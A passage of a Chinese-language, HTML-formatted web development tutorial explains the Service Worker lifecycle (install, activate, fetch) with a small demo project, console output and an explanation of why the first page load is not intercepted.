&#x4ECE;&#x88AB;&#x6CE8;&#x518C;&#x5F00;&#x59CB;&#xFF0C;&#x5C31;&#x4F1A;&#x7ECF;&#x5386;&#x81EA;&#x8EAB;&#x7684;&#x4E00;&#x4E9B;&#x751F;&#x547D;&#x5468;&#x671F;&#x7684;&#x8282;&#x70B9;&#xFF0C;&#x800C;&#x5728;&#x8FD9;&#x4E9B;&#x8282;&#x70B9;&#x90FD;&#x53EF;&#x4EE5;&#x53BB;&#x505A;&#x4E00;&#x4E9B;&#x7279;&#x5B9A;&#x7684;&#x4E8B;&#x60C5;&#xFF0C;&#x6BD4;&#x5982;&#x4E00;&#x4E9B;&#x590D;&#x6742;&#x7684;&#x8BA1;&#x7B97;&#x3001;&#x7F13;&#x5B58;&#x7684;&#x5199;&#x5165;&#x3001;&#x7F13;&#x5B58;&#x7684;&#x8BFB;&#x53D6;&#x7B49;&#x64CD;&#x4F5C;&#x3002;&#x901A;&#x8FC7;&#x8FD9;&#x4E9B;&#x751F;&#x547D;&#x5468;&#x671F;&#x8282;&#x70B9;&#x7684;&#x8054;&#x5408;&#x8C03;&#x5EA6;&#xFF0C;Service Worker &#x624D;&#x80FD;&#x5B8C;&#x6210;&#x590D;&#x6742;&#x7684;&#x8D44;&#x6E90;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x5DE5;&#x4F5C;&#x3002;&#x800C;&#x5F00;&#x53D1;&#x8005;&#x53EA;&#x6709;&#x4E86;&#x89E3;&#x4E86; Service Worker &#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#xFF0C;&#x624D;&#x80FD;&#x901A;&#x8FC7;&#x8BBE;&#x8BA1;&#x76F8;&#x5173;&#x903B;&#x8F91;&#xFF0C;&#x5E76;&#x5F00;&#x53D1; Service Worker &#x6587;&#x4EF6; <code>sw.js</code> &#xFF0C;&#x8BA9; Service Worker &#x53BB;&#x5B8C;&#x6210; PWA &#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x3002;</p>\n<h2 id=\"&#x751F;&#x547D;&#x5468;&#x671F;\"><a name=\"&#x751F;&#x547D;&#x5468;&#x671F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x751F;&#x547D;&#x5468;&#x671F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x751F;&#x547D;&#x5468;&#x671F;\" class=\"plugin-anchor\" href=\"#&#x751F;&#x547D;&#x5468;&#x671F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x751F;&#x547D;&#x5468;&#x671F;</h2>\n<p>&#x5148;&#x6765;&#x4E86;&#x89E3;&#x4E0B;&#x4EC0;&#x4E48;&#x662F; Service Worker &#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#xFF0C;&#x6BCF;&#x4E2A; Service Worker &#x90FD;&#x6709;&#x4E00;&#x4E2A;&#x72EC;&#x7ACB;&#x4E8E; Web &#x9875;&#x9762;&#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#xFF0C;&#x5176;&#x793A;&#x610F;&#x56FE;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/service_worker_lifecycle.png\" alt=\"Service Worker &#x751F;&#x547D;&#x5468;&#x671F;\"></p>\n<ol>\n<li><p>&#x5728;&#x4E3B;&#x7EBF;&#x7A0B;&#x6210;&#x529F;&#x6CE8;&#x518C; Service Worker &#x4E4B;&#x540E;&#xFF0C;&#x5F00;&#x59CB;&#x4E0B;&#x8F7D;&#x5E76;&#x89E3;&#x6790;&#x6267;&#x884C; Service Worker &#x6587;&#x4EF6;&#xFF0C;&#x6267;&#x884C;&#x8FC7;&#x7A0B;&#x4E2D;&#x5F00;&#x59CB;&#x5B89;&#x88C5; Service Worker&#xFF0C;&#x5728;&#x6B64;&#x8FC7;&#x7A0B;&#x4E2D;&#x4F1A;&#x89E6;&#x53D1; worker &#x7EBF;&#x7A0B;&#x7684; install &#x4E8B;&#x4EF6;&#x3002;</p>\n</li>\n<li><p>&#x5982;&#x679C; install &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x6210;&#x529F;&#x6267;&#x884C;&#xFF08;&#x5728; install &#x56DE;&#x8C03;&#x4E2D;&#x901A;&#x5E38;&#x4F1A;&#x505A;&#x4E00;&#x4E9B;&#x7F13;&#x5B58;&#x8BFB;&#x5199;&#x7684;&#x5DE5;&#x4F5C;&#xFF0C;&#x53EF;&#x80FD;&#x4F1A;&#x5B58;&#x5728;&#x5931;&#x8D25;&#x7684;&#x60C5;&#x51B5;&#xFF09;&#xFF0C;&#x5219;&#x5F00;&#x59CB;&#x6FC0;&#x6D3B; Service Worker&#xFF0C;&#x5728;&#x6B64;&#x8FC7;&#x7A0B;&#x4E2D;&#x4F1A;&#x89E6;&#x53D1; worker &#x7EBF;&#x7A0B;&#x7684; activate &#x4E8B;&#x4EF6;&#xFF0C;&#x5982;&#x679C; install &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x6267;&#x884C;&#x5931;&#x8D25;&#xFF0C;&#x5219;&#x751F;&#x547D;&#x5468;&#x671F;&#x8FDB;&#x5165; Error &#x7EC8;&#x7ED3;&#x72B6;&#x6001;&#xFF0C;&#x7EC8;&#x6B62;&#x751F;&#x547D;&#x5468;&#x671F;&#x3002;</p>\n</li>\n<li><p>&#x5B8C;&#x6210;&#x6FC0;&#x6D3B;&#x4E4B;&#x540E;&#xFF0C;Service Worker &#x5C31;&#x80FD;&#x591F;&#x63A7;&#x5236;&#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x7684;&#x9875;&#x9762;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#xFF0C;&#x53EF;&#x4EE5;&#x76D1;&#x542C; fetch &#x4E8B;&#x4EF6;&#x3002;</p>\n</li>\n<li><p>&#x5982;&#x679C;&#x5728;&#x6FC0;&#x6D3B;&#x540E; Service Worker &#x88AB; unregister &#x6216;&#x8005;&#x6709;&#x65B0;&#x7684; Service Worker &#x7248;&#x672C;&#x66F4;&#x65B0;&#xFF0C;&#x5219;&#x5F53;&#x524D; Service Worker &#x751F;&#x547D;&#x5468;&#x671F;&#x5B8C;&#x7ED3;&#xFF0C;&#x8FDB;&#x5165; Terminated &#x7EC8;&#x7ED3;&#x72B6;&#x6001;&#x3002;</p>\n</li>\n</ol>\n<p>Service Worker &#x751F;&#x547D;&#x5468;&#x671F;&#x662F;&#x4E00;&#x4E2A;&#x6BD4;&#x8F83;&#x590D;&#x6742;&#x7684;&#x77E5;&#x8BC6;&#x70B9;&#xFF0C;&#x5176;&#x4E2D;&#x6709;&#x8F83;&#x591A;&#x7684;&#x7EC6;&#x8282;&#x9700;&#x8981;&#x6DF1;&#x5165;&#x7406;&#x89E3;&#xFF0C;&#x4E3A;&#x4E86;&#x66F4;&#x6E05;&#x695A;&#x7684;&#x8FDB;&#x884C;&#x4ECB;&#x7ECD;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x65B0;&#x5EFA;&#x4E00;&#x4E2A;&#x9879;&#x76EE; serviceWorkerLifecycleDemo&#xFF0C;&#x9879;&#x76EE;&#x76EE;&#x5F55;&#x7ED3;&#x6784;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token keyword\">.</span>\n&#x2514;&#x2500;&#x2500; serviceWorkerLifecycleDemo/\n    &#x251C;&#x2500;&#x2500; imgs/\n    &#x2502;   &#x2514;&#x2500;&#x2500; dog.jpg\n    &#x251C;&#x2500;&#x2500; index.html\n    &#x2514;&#x2500;&#x2500; sw.js\n</code></pre>\n<p>&#x9996;&#x5148;&#xFF0C;&#x9700;&#x8981;&#x6709;&#x4E00;&#x4E2A; Service Worker &#x7684;&#x6CE8;&#x518C;&#x5165;&#x53E3;&#xFF0C;&#x6240;&#x4EE5; <code>index.html</code> &#x7684;&#x4EE3;&#x7801;&#x5185;&#x5BB9;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Lifecycle Demo<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>./imgs/dog.jpg<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">alt</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>demo image<span class=\"token punctuation\">&quot;</span></span> <span class=\"token punctuation\">/&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        // &#x7531;&#x4E8E; 127.0.0.1:8000 &#x662F;&#x6240;&#x6709;&#x6D4B;&#x8BD5; Demo &#x7684; host\n        // &#x4E3A;&#x4E86;&#x9632;&#x6B62;&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;&#xFF0C;&#x5C06;&#x5B89;&#x88C5;&#x524D;&#x6CE8;&#x9500;&#x6240;&#x6709;&#x5DF2;&#x751F;&#x6548;&#x7684; Service Worker\n        navigator.serviceWorker.getRegistrations()\n          .then(regs =&gt; {\n            for (let reg of regs) {\n              reg.unregister()\n            }\n            navigator.serviceWorker.register(&apos;./sw.js&apos;)\n          })\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\n&#x7531;&#x4E8E; Service Worker &#x4E00;&#x65E6;&#x6CE8;&#x518C;&#x540E;&#x5C31;&#x4F1A;&#x6C38;&#x4E45;&#x751F;&#x6548;&#xFF0C;&#x800C;&#x751F;&#x6548;&#x7684;&#x63A7;&#x5236;&#x8303;&#x56F4;&#x662F;&#x6839;&#x636E;&#x4F5C;&#x7528;&#x57DF;&#x6765;&#x63A7;&#x5236;&#x7684;&#xFF0C;&#x6211;&#x4EEC;&#x6240;&#x6709;&#x7684;&#x6D4B;&#x8BD5; host &#x90FD;&#x4E3A; <code>127.0.0.1:8000</code>&#xFF0C;&#x8FD9;&#x6837;&#x4F1A;&#x5BFC;&#x81F4;&#x65B0;&#x7684;&#x9879;&#x76EE;&#x8FD8;&#x6CA1;&#x6CE8;&#x518C; Service Worker &#x5374;&#x5DF2;&#x7ECF;&#x88AB;&#x4E4B;&#x524D;&#x6CE8;&#x518C;&#x7684; Service Worker &#x6240;&#x63A7;&#x5236;&#xFF0C;&#x6240;&#x4EE5;&#x901A;&#x5E38;&#x5728;&#x6CE8;&#x518C;&#x65B0;&#x7684; Service Worker &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4E3A;&#x4E86;<strong>&#x5F7B;&#x5E95;&#x9632;&#x6B62;&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;</strong>&#x7684;&#x505A;&#x6CD5;&#x5C31;&#x662F;&#x5728;&#x6CE8;&#x518C;&#x524D;&#x5C06;&#x6240;&#x6709;&#x73B0;&#x5B58;&#x63A7;&#x5236;&#x5F53;&#x524D;&#x9875;&#x9762;&#x7684; Service Worker &#x5168;&#x90E8;&#x6CE8;&#x9500;&#x6389;&#xFF0C;&#x6216;&#x8005;&#x5728; Chrome Devtools &#x4E2D;&#x6BCF;&#x6B21;&#x90FD;&#x5C06;&#x8001;&#x7684; Service Worker &#x624B;&#x52A8; unregister &#x6389;&#x3002;</p>\n</blockquote>\n<p>&#x8FD9;&#x6B21;&#x5728; serviceWorkerLifecycleDemo &#x9879;&#x76EE;&#x7684; HTML &#x6587;&#x4EF6;&#x4E2D;&#x52A0;&#x5165;&#x4E00;&#x4E2A; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x6765;&#x52A0;&#x8F7D;&#x4E00;&#x5F20;&#x56FE;&#x7247;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x7528;&#x6765;&#x7406;&#x89E3; Service Worker &#x5982;&#x4F55;&#x5728;&#x751F;&#x547D;&#x5468;&#x671F;&#x4E2D;&#x8FDB;&#x884C;&#x79BB;&#x7EBF;&#x4E0E;&#x7F13;&#x5B58;&#x5904;&#x7406;&#x7684;&#x3002;</p>\n<p>&#x867D;&#x7136;&#x7A7A;&#x7684; Service Worker &#x6587;&#x4EF6;&#x4E5F;&#x662F;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x6CE8;&#x518C;&#x6765;&#x65B0;&#x5F00;&#x4E00;&#x4E2A; Service Worker &#x7EBF;&#x7A0B;&#xFF0C;&#x4F46;&#x662F;&#x901A;&#x5E38; Service Worker &#x6587;&#x4EF6;&#x4E2D;&#x9700;&#x8981;&#x7F16;&#x5199;&#x4E00;&#x4E9B; JavaScript &#x4EE3;&#x7801;&#x903B;&#x8F91;&#x6765;&#x5B8C;&#x6210; Web App &#x7684;&#x79BB;&#x7EBF;&#x4E0E;&#x7F13;&#x5B58;&#x7684;&#x7B56;&#x7565;&#x8BBE;&#x8BA1;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x4F1A;&#x4E00;&#x6B65;&#x6B65;&#x7684;&#x8BE6;&#x7EC6;&#x8BB2;&#x89E3;&#x8FD9;&#x4E9B;&#x4EE3;&#x7801;&#x8BE5;&#x5982;&#x4F55;&#x7F16;&#x5199;&#xFF0C;&#x9996;&#x5148;&#x5148;&#x7ED9; <code>sw.js</code> &#x5199;&#x5165;&#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#xFF0C;&#x7528;&#x6765;&#x7406;&#x89E3; Service Worker &#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// sw.js</span>\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6CE8;&#x518C;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;install&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5B89;&#x88C5;&#x56DE;&#x8C03;&#x7684;&#x903B;&#x8F91;&#x5904;&#x7406;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x5B89;&#x88C5;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;activate&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x6FC0;&#x6D3B;&#x56DE;&#x8C03;&#x7684;&#x903B;&#x8F91;&#x5904;&#x7406;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6FC0;&#x6D3B;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;fetch&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6293;&#x53D6;&#x8BF7;&#x6C42;&#x6210;&#x529F;: &apos;</span> <span class=\"token operator\">+</span> event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x6BB5;&#x4EE3;&#x7801;&#x4E00;&#x5F00;&#x59CB;&#x662F;&#x76F4;&#x63A5;&#x901A;&#x8FC7; <code>console.log()</code> &#x6253;&#x5370;&#x8F93;&#x51FA;&#x4E00;&#x6BB5;&#x5185;&#x5BB9;&#xFF0C;&#x7136;&#x540E;&#x7ED1;&#x5B9A;&#x4E86;&#x4E09;&#x4E2A;&#x4E8B;&#x4EF6;&#xFF0C;&#x5206;&#x522B;&#x662F; <code>install</code>&#x3001;<code>activate</code>&#x3001;<code>fetch</code> &#x4E8B;&#x4EF6;&#xFF0C;&#x7528;&#x6765;&#x54CD;&#x5E94; Service Worker &#x751F;&#x547D;&#x5468;&#x671F;&#x7684;&#x4E8B;&#x4EF6;&#x89E6;&#x53D1;&#x3002;</p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x7528; Chrome &#x6D4F;&#x89C8;&#x5668;&#x6765;&#x6D4B;&#x8BD5;&#x4E00;&#x4E0B; serviceWorkerLifecycleDemo &#x8FD9;&#x4E2A;&#x4F8B;&#x5B50;&#xFF0C;&#x4E3A;&#x4E86;&#x66F4;&#x597D;&#x7684;&#x7406;&#x89E3;&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;&#xFF0C;&#x5728;&#x6253;&#x5F00;&#x6D4B;&#x8BD5;&#x9875;&#x9762; <code>http://127.0.0.1:8000</code> &#x4E4B;&#x524D;&#x9700;&#x8981;&#x5C06;&#x6240;&#x6709;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x6807;&#x7B7E;&#x5173;&#x95ED;&#xFF08;&#x540E;&#x9762;&#x4F1A;&#x8BE6;&#x7EC6;&#x89E3;&#x91CA;&#x4E3A;&#x4EC0;&#x4E48;&#x9700;&#x8981;&#x5982;&#x6B64;&#x64CD;&#x4F5C;&#xFF09;&#x3002;&#x4E0D;&#x51FA;&#x610F;&#x5916;&#x7684;&#x8BDD;&#xFF0C;<strong>&#x7B2C;&#x4E00;&#x6B21;</strong>&#x8BBF;&#x95EE; <code>http://127.0.0.1:8000</code> &#x9875;&#x9762;&#x7684;&#x65F6;&#x5019; Chrome Devtools Console &#x63A7;&#x5236;&#x53F0;&#x7684;&#x6253;&#x5370;&#x7ED3;&#x679C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token function\">service</span> worker &#x6CE8;&#x518C;&#x6210;&#x529F;\n<span class=\"token function\">service</span> worker &#x5B89;&#x88C5;&#x6210;&#x529F;\n<span class=\"token function\">service</span> worker &#x6FC0;&#x6D3B;&#x6210;&#x529F;\n</code></pre>\n<p>&#x5F53;&#x6211;&#x4EEC;<strong>&#x7B2C;&#x4E8C;&#x6B21;</strong>&#x5237;&#x65B0;&#x9875;&#x9762;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x8FD9;&#x65F6;&#x5019;&#x63A7;&#x5236;&#x53F0;&#x7684;&#x6253;&#x5370;&#x7ED3;&#x679C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token function\">service</span> worker &#x6293;&#x53D6;&#x8BF7;&#x6C42;&#x6210;&#x529F;&#xFF1A;http://127.0.0.1:8000/imgs/dog.jpg\n</code></pre>\n<p>&#x4ECE;&#x8FD9;&#x4E2A;&#x6267;&#x884C;&#x7ED3;&#x679C;&#x6765;&#x770B;&#xFF0C;&#x521D;&#x6B65;&#x80FD;&#x591F;&#x8BF4;&#x660E;&#x4EE5;&#x4E0B;&#x51E0;&#x70B9;&#xFF1A;</p>\n<ul>\n<li>Service Worker &#x6587;&#x4EF6;&#x53EA;&#x5728;&#x9996;&#x6B21;&#x6CE8;&#x518C;&#x7684;&#x65F6;&#x5019;&#x6267;&#x884C;&#x4E86;&#x4E00;&#x6B21;&#x3002;</li>\n<li>&#x5B89;&#x88C5;&#x3001;&#x6FC0;&#x6D3B;&#x6D41;&#x7A0B;&#x4E5F;&#x53EA;&#x662F;&#x5728;&#x9996;&#x6B21;&#x6267;&#x884C; Service Worker &#x6587;&#x4EF6;&#x7684;&#x65F6;&#x5019;&#x8FDB;&#x884C;&#x4E86;&#x4E00;&#x6B21;&#x3002;</li>\n<li>&#x9996;&#x6B21;&#x6CE8;&#x518C;&#x6210;&#x529F;&#x7684; Service Worker &#x6CA1;&#x80FD;&#x62E6;&#x622A;&#x5F53;&#x524D;&#x9875;&#x9762;&#x7684;&#x8BF7;&#x6C42;&#x3002;</li>\n<li>&#x975E;&#x9996;&#x6B21;&#x6CE8;&#x518C;&#x7684; Service Worker &#x53EF;&#x4EE5;&#x63A7;&#x5236;&#x5F53;&#x524D;&#x7684;&#x9875;&#x9762;&#x5E76;&#x80FD;&#x62E6;&#x622A;&#x8BF7;&#x6C42;&#x3002;</li>\n</ul>\n<p>Service Worker &#x5728;&#x5185;&#x90E8;&#x90FD;&#x6709;&#x4E00;&#x7CFB;&#x5217;&#x7684;&#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#xFF0C;&#x8FD9;&#x4E9B;&#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#x51B3;&#x5B9A;&#x4E86;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x5728; Service Worker &#x6587;&#x4EF6;&#x4E2D;&#x5982;&#x4F55;&#x8FDB;&#x884C;&#x5F00;&#x53D1;&#x3002;&#x4E0B;&#x56FE;&#x5C55;&#x793A;&#x7684;&#x662F; Service Worker &#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#x56FE;&#x3002;</p>\n<p><img src=\"img/service_worker_process.png\" alt=\"Service Worker &#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#x56FE;\"></p>\n<p>&#x5B9E;&#x9645;&#x4E0A; Service Worker &#x9996;&#x6B21;&#x6CE8;&#x518C;&#x6216;&#x8005;&#x6709;&#x65B0;&#x7248;&#x672C;&#x89E6;&#x53D1;&#x66F4;&#x65B0;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x624D;&#x4F1A;&#x91CD;&#x65B0;&#x521B;&#x5EFA;&#x4E00;&#x4E2A; worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x5E76;&#x89E3;&#x6790;&#x6267;&#x884C; Service Worker &#x6587;&#x4EF6;&#xFF0C;&#x5728;&#x8FD9;&#x4E4B;&#x540E;&#x5E76;&#x8FDB;&#x5165; Service Worker &#x7684;&#x5B89;&#x88C5;&#x548C;&#x6FC0;&#x6D3B;&#x751F;&#x547D;&#x5468;&#x671F;&#x3002;</p>\n<p>&#x800C;&#x5728;&#x9996;&#x6B21;&#x6CE8;&#x518C;&#x3001;&#x5B89;&#x88C5;&#x3001;&#x6FC0;&#x6D3B;&#x4E4B;&#x540E;&#xFF0C;Service Worker &#x5DF2;&#x7ECF;&#x62FF;&#x5230;&#x4E86;&#x5F53;&#x524D;&#x9875;&#x9762;&#x7684;&#x63A7;&#x5236;&#x6743;&#x4E86;&#xFF0C;&#x4F46;&#x4E3A;&#x4EC0;&#x4E48;&#x9996;&#x6B21;&#x5237;&#x65B0;&#x5374;&#x6CA1;&#x6709;&#x62E6;&#x622A;&#x5230;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x5462;&#xFF1F;&#x4E3B;&#x8981;&#x662F;&#x56E0;&#x4E3A;&#x5728; Service Worker &#x7684;&#x6CE8;&#x518C;&#x662F;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x7684;&#x8FC7;&#x7A0B;&#xFF0C;&#x5728;&#x6FC0;&#x6D3B;&#x5B8C;&#x6210;&#x540E;&#x5F53;&#x524D;&#x9875;&#x9762;&#x7684;&#x8BF7;&#x6C42;&#x90FD;&#x5DF2;&#x7ECF;&#x53D1;&#x9001;&#x5B8C;&#x6210;&#xFF0C;&#x56E0;&#x4E3A;&#x65F6;&#x673A;&#x592A;&#x665A;&#xFF0C;&#x6B64;&#x65F6;&#x662F;&#x62E6;&#x622A;&#x4E0D;&#x5230;&#x4EFB;&#x4F55;&#x8BF7;&#x6C42;&#x7684;&#xFF0C;&#x53EA;&#x80FD;&#x7B49;&#x5F85;&#x4E0B;&#x6B21;&#x8BBF;&#x95EE;&#x518D;&#x8FDB;&#x884C;&#x3002;</p>\n<p>&#x800C;&#x7B2C;&#x4E8C;&#x6B21;&#x5237;&#x65B0;&#x9875;&#x9762;&#xFF0C;&#x7531;&#x4E8E;&#x5F53;&#x524D;&#x7AD9;&#x70B9;&#x7684; Service Worker &#x662F;&#x5904;&#x4E8E;&#x6FC0;&#x6D3B;&#x72B6;&#x6001;&#xFF0C;&#x6240;&#x4EE5;&#x4E0D;&#x4F1A;&#x518D;&#x6B21;&#x65B0;&#x5EFA; worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x5E76;&#x6267;&#x884C; Service Worker&#x3002;&#x4E5F;&#x5C31;&#x662F;&#x8BF4;&#x6FC0;&#x6D3B;&#x72B6;&#x6001;&#x7684; Service Worker &#x5728;&#x4E00;&#x4E2A;&#x7AD9;&#x70B9;&#x53EA;&#x4F1A;&#x5B58;&#x5728;&#x4E00;&#x4E2A; worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#xFF0C;&#x9664;&#x975E; Service Worker &#x6587;&#x4EF6;&#x53D1;&#x751F;&#x4E86;&#x53D8;&#x5316;&#xFF08;&#x624B;&#x52A8; unregister Service Worker &#x4E5F;&#x4F1A;&#x6CE8;&#x9500;&#x6389; worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#xFF09;&#xFF0C;&#x89E6;&#x53D1;&#x4E86;&#x6D4F;&#x89C8;&#x5668;&#x66F4;&#x65B0;&#xFF0C;&#x624D;&#x4F1A;&#x91CD;&#x65B0;&#x5F00;&#x542F;&#x751F;&#x547D;&#x5468;&#x671F;&#x3002;&#x800C;&#x7531;&#x4E8E; Service Worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x7684;&#x79BB;&#x7EBF;&#x7279;&#x6027;&#xFF0C;&#x53EA;&#x8981;&#x5904;&#x4E8E;&#x6FC0;&#x6D3B;&#x72B6;&#x6001;&#xFF0C;&#x5728;&#x540E;&#x7EED;&#x7684;&#x4EFB;&#x4F55;&#x8BBF;&#x95EE;&#x4E2D;&#xFF0C;&#x90FD;&#x4F1A;&#x901A;&#x8FC7; fetch &#x4E8B;&#x4EF6;&#x76D1;&#x542C;&#x5668;&#x62E6;&#x622A;&#x5F53;&#x524D;&#x9875;&#x9762;&#x7684;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#xFF0C;&#x5E76;&#x6267;&#x884C; <code>fetch</code> &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x3002;</p>\n<h2 id=\"waituntil-&#x673A;&#x5236;\"><a name=\"waituntil-&#x673A;&#x5236;\" class=\"anchor-navigation-ex-anchor\" href=\"#waituntil-&#x673A;&#x5236;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"waituntil-&#x673A;&#x5236;\" class=\"plugin-anchor\" href=\"#waituntil-&#x673A;&#x5236;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>waitUntil &#x673A;&#x5236;</h2>\n<p>&#x5982;&#x679C; Service Worker &#x5B89;&#x88C5;&#x5931;&#x8D25;&#x4F1A;&#x5BFC;&#x81F4; Service Worker &#x751F;&#x547D;&#x5468;&#x671F;&#x7EC8;&#x6B62;&#x3002;&#x7531;&#x4E8E; Service Worker install &#x56DE;&#x8C03;&#x662F;&#x5728;&#x7528;&#x6237;&#x9996;&#x6B21;&#x8BBF;&#x95EE;&#x6CE8;&#x518C;&#x7684;&#x65F6;&#x5019;&#x624D;&#x4F1A;&#x89E6;&#x53D1;&#xFF0C;&#x6240;&#x4EE5;&#x5728;&#x9879;&#x76EE;&#x8BBE;&#x8BA1;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4F1A;&#x5C06; Web App 